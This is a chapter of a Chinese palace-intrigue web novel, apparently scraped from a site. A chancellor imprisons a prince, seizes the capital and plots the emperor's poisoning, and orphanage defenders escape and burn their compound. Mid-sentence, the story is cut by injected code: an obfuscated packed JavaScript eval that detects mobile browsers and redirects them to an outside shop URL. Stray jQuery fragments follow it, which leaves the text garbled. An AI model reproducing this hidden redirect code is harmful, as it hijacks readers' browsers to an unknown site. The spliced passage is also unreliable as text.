“进去。”

    萧弈玄被一个人直接推进了一间房,他踉跄了几步才站稳。

    文述则站在门外,双手负在背后,他对着萧弈玄微微一笑,然后才开口说道,“平王殿下,别想着逃走,一个养济院不够的话,我可以再加码,你不会想看到的。”

    萧弈玄站在原地看着面前的文述,语带嘲讽地回道,“本王清楚了,文相就省省心吧。”

    文述闻言才终于满意地点了点头,离开了这座离文府不远的别院。

    而文述带来的百人的队伍则各自分散,牢牢地守住了这座别院的周围。

    萧弈玄将门关上以后,先是从自己的怀中把自己随身带着的苏参丸服下,才坐在了凳子上。

    他伸手扶住了自己的脸,看着不远处微微透光的窗户出神,他当然不会逃,逃了,那么他的计划就没有办法完整实施了。

    他萧弈玄要让文述后悔没有第一时间就杀了他,而是留下了他的性命想要利用他。

    小理并没有和他一起被文述关在这座别院,可能是怕小理像云季一样隐藏武功,和他在一起,直接就逃了。

    所以文述只把他萧弈玄一个人隔离开来,既能够断了他和外界的联系,也能够最大程度地降低他逃脱的风险。

    萧弈玄起身打开窗户,看了眼别院的布局,毕竟要是让他一个人离开的话,那就真的只有一条路,那就是从大门走出去。这恐怕比登天还难,看守的人又不是瞎子。

    但正因如此,小理要不被暗地里处理了,要不就被送回到养济院一起被严加看守,但不管哪种情况,都不要紧,因为有云季在。

    而文述虽然对他动手了,但肯定不会有太大的动静。打草惊蛇这种事文述是不会干的。

    要么找个借口将所有养济院的人都抓紧牢里,要么是原地囚禁。

    萧弈玄右手扶着自己的下巴,默默思索。

    所以究竟是哪种情况?将养济院所有人抓起来,这个动静有点太大了,文述即使不把普通百姓放在眼里,应该也不会在这个节骨眼上徒生事端,闹得人心惶惶的。

    可是如果原地囚禁的话,还是有优势的,毕竟养济院作为收留孤儿的地方,本身收入较少,所以大多数的养济院为了节约开支,都是建在靠近城外偏僻的地区,一般没什么人,离其他人家是有一段距离,确实能够达到掩人耳目的目的。

    不过,如果真是他猜测的那样的话,萧弈玄脸上的笑容大了起来,那文述可真是走了一步好棋啊。

    文府书房

    文述解决了萧弈玄这个眼中钉之后,整个人都放松了下来,现在京中能够阻止他的人要么远离京城,要么在他手中,接下来就是水到渠成的事了。

    文述坐在了自己的椅子上,来汇报情报的文家暗卫已经一一并排站好,给文述通报了京城中皇宫里贵妃和皇上的情况以及各处大臣的近况,还有远在江南沈晏清的动向。

    文述听着各处的消息,基本都在自己的掌握当中,满意地点点头,马上就要成功了。

    他挥手让人退下之后,召来了文礼书。

    “父亲。”文礼书对着文述恭敬地行了一礼,“您找我来,是有什么事吗?”

    文述看着眼前的自己的儿子,示意他坐下,才说道,“萧弈玄已经尽在我的掌握之中,接下来找个借口控制住整个京城。”

    文礼书听到萧弈玄被自家父亲的抓住以后,顿时有点兴奋,想要去找麻烦,但还是抑制住了自己的心思,他回想起今天下面的人上报的消息,心里就漫上了一个主意。

    文礼书微微俯身,和文述低声说道,“父亲,今天下面有人来报,有部分流民已经到了京城城门外,他们没有路引凭证,所以守城的士兵没有让他们进城。”

    文述手指轻点了点桌面,缓缓开口说道,“你是想利用这些流民。”

    文礼书补充道,“我们可以利用这些流民名正言顺地分派我们自己的人手去守住京城各处的城门,也可以利用这些流民的名头杀了那些反对我们的人。”

    文述闻言,认可了文礼书的建议,这么大的动作总要有个理由,而现在涌入的流民就是最好的理由。

    老天果然是站在他这边的,一场水灾将他最大的威胁调离京城,还给了他围城最大的借口。

    文礼书见文述同意了自己的提议,将自己想要找萧弈玄麻烦的想法往后捎了捎,马上下去安排去了。

    京城

    没过一个时辰,整个京城就已经被文述手下的势力给包圆了,有人提出意见,结果就被流民进京,恐生事端,现在这样做是为了防范于未然给挡了回去,偏偏唯一一位能够硬刚回去的人现在不在京城,弄得人敢怒不敢言,只能暂时隐忍。

    解决了京城进出的问题,防止消息传出去之后,文述不慌不忙地进了皇宫,一路畅通无阻。

    皇宫早在文述的掌握之中,不然作为皇上能够一直卧病在床,那几乎是不可能的事,能够一直这样,那自然也是文述吩咐的。

    太医院主治皇上的太医就是他文述的人,而整个皇宫的事务以文贵妃为首,皇帝的起居也是文贵妃负责的。

    前朝其实有专人负责皇上的贴身事务,原本不会这么轻易就被文述掌控,但谁叫先皇身边的内务总管突然疾病死了,现任皇上也没有来得及培养自己的亲信就被一步步蚕食了呢。

    所以皇宫内,隶属皇上的人几乎没有,大多都投靠了文家,毕竟作为小人物,保持中立都是罪过,在皇宫里是活不下去的。

    是有人宁死不屈,不过这些都被文述花时间一点点地清理了。

    文述先是找了文贵妃确认了她的身体状况,她这几天快要临盆,她生下的孩子是计划中最关键的一环,绝不能出现差错。

    然后又去了皇上的寝宫,这是整个皇宫内除了文贵妃的宫殿外,文述势力最集中的地方,日夜不休,一直都有人守在皇上的身边,寸步不离。

    每顿的药汤都是由文述派的人专门负责,没有人可以插手。

    文述确认完情况之后,叮嘱了专门负责的人可以动手了,才转身离开。

    文述在夜半时分才回到自己的府中,文礼书早已等在书房,一看到文述的身影,就立马上前汇报自己今天的成果,“父亲,事情已经办妥了。”

    文述满意地点头,果然,沈晏清不在,他的事情办得就很顺利,即使是那个藏头露尾的萧弈玄也照样顺利地被他握在手中。“除了那些反对的人的府邸以外,尽量不要和其他人起冲突。”

    文礼书恭敬地回道,“儿子知道的,在最开始就已经吩咐下去了。”

    文述闻言,挥挥手示意文礼书下去了。

    接下来只要文贵妃顺利诞下下一任皇位继承人,现任皇帝驾崩就可以,就在这几天,他们现在能做的就只有等待。

    养济院

    在今天凌晨的时候,养济院的大家被措不及防地被文述的手下带领队伍团团围住,要说他们一个人都逃不走,那是不可能的。

    但是整个养济院的大家不止有像韩知那样会武功的人,更多的是老弱妇孺那样的手无缚鸡之力的人,所以在韩知感知到有很多人赶来的时候,并没有直接撤离。

    时间太短,他们这些会武功的人自然可以全身而退,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785853|204234||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    但是还留在院里的没有办法撤离的人就不知道会是怎样的境况了,他们一起留下,能够更好的面对突发状况。

    那些人来了以后也没太为难他们,他们也就没和那些人起冲突,只是默默顺从地被赶到一起,关进了最正中间的大厅里。

    被派来围住养济院的文述手下首领也是了解养济院的情况,他虽然也对自己大人下达的命令有些疑惑,但作为文家的一员,对于家主的命令自然要遵从。

    但实施过程中如何对待养济院的人那就是文简自己可以做主的了。

    文简自然也是听说过养济院的名声,对于养济院的韩知那也是大名鼎鼎、如雷贯耳,知道这人还有养济院另外几个负责人是会武功的,这自然要特殊处理。

    虽然韩知他们这些人在最开始没有反抗,但是为了以防万一,他还是让人把韩知他们绑了。

    其他人则被另外集中。

    就这样到了半夜,守着韩知他们的人已经开始昏昏欲睡,虽然还是站着,但头已经开始一点一点了。

    韩知环视了周围一圈之后,才挑眉示意了一下其他人,只见他们手腕一动,浑身的绳子就悄无声息地松开,被他们稳稳地握在手中。

    韩知和另外几个人默契地将看守他们的人敲晕了。

    他看着睡在地上的几人,吊儿郎当地说道,“这文相还挺热心,特地给我们包了一天的粮食,省了我们一天的饭钱。”

    杨典拍了拍手,跟着说道,“那给他记在账上,以后还他。”

    朱柔嘻嘻笑了一下,说道,“那必百倍奉还。”

    韩知随手提起晕倒的两个人,对着杨典他们说道,“快点,解决了我们好走。”

    杨典和朱柔他们见状也将那些士兵拎出了他们所在的房间。

    出去房间以后,韩知他们找到关押其他人的房间,由于都是些没有武力的人,那些守卫的人更加懈怠,而这对他们来说更没有难度,几下,那些人也步上了刚才看守韩知他们的那些士兵的后尘。

    韩知先是让那些人从在一开始就留好的密道离开,他们这些会武功的人殿后。

    养济院的大家一直都被训练过怎么逃走,一个个悄无声息的下了密道,没过片刻的功夫,养济院的人就消失得一干二净。

    韩知让杨典和朱柔一起和着养济院的人离开,自己则留下来善后,毕竟如果不处理干净,找到密道是迟早的事儿。

    他将刚才的哪些士兵都扔在了养济院的大院子内,这里不会被待会儿燃起的火波及到。

    韩知看着这些人,这些人不知道是不是被迫卷入了这场风波,他能做的只有这么多,但是任务失败,他们会面临什么后果,就不是他们需要考虑的了。

    他引燃了很早之前就埋好的燃料,整个养济院瞬间火光冲天,处在一片火光之中。

    文简察觉到不对,瞬间破门而入,他以为韩知他们顾及到那些老弱妇孺会束手,没想到韩知竟然会一把火把养济院烧了。

    文简一眼就看到了站在房门前举着火折子的韩知,还有躺着一地的士兵,顿时怒气上涌,不管不顾地和韩知交起手来。

    其他留守在附近的士兵也在看到养济院的动静时迅速聚集过来,部分弓箭兵也开始搭弓,开始瞄准。

    韩知在和文简交手的空隙中看了大门外一眼,又趁机回头看屋子烧到什么程度。

    这个状态只要快速灭火,密道口可能还没有完全损坏。

    韩知招式一变,换成他开始拖着文简,不让他后退。毕竟这些弓箭兵大概率不是精英,没有办法在这么快速的战斗中精准的射中他,而不误伤文简。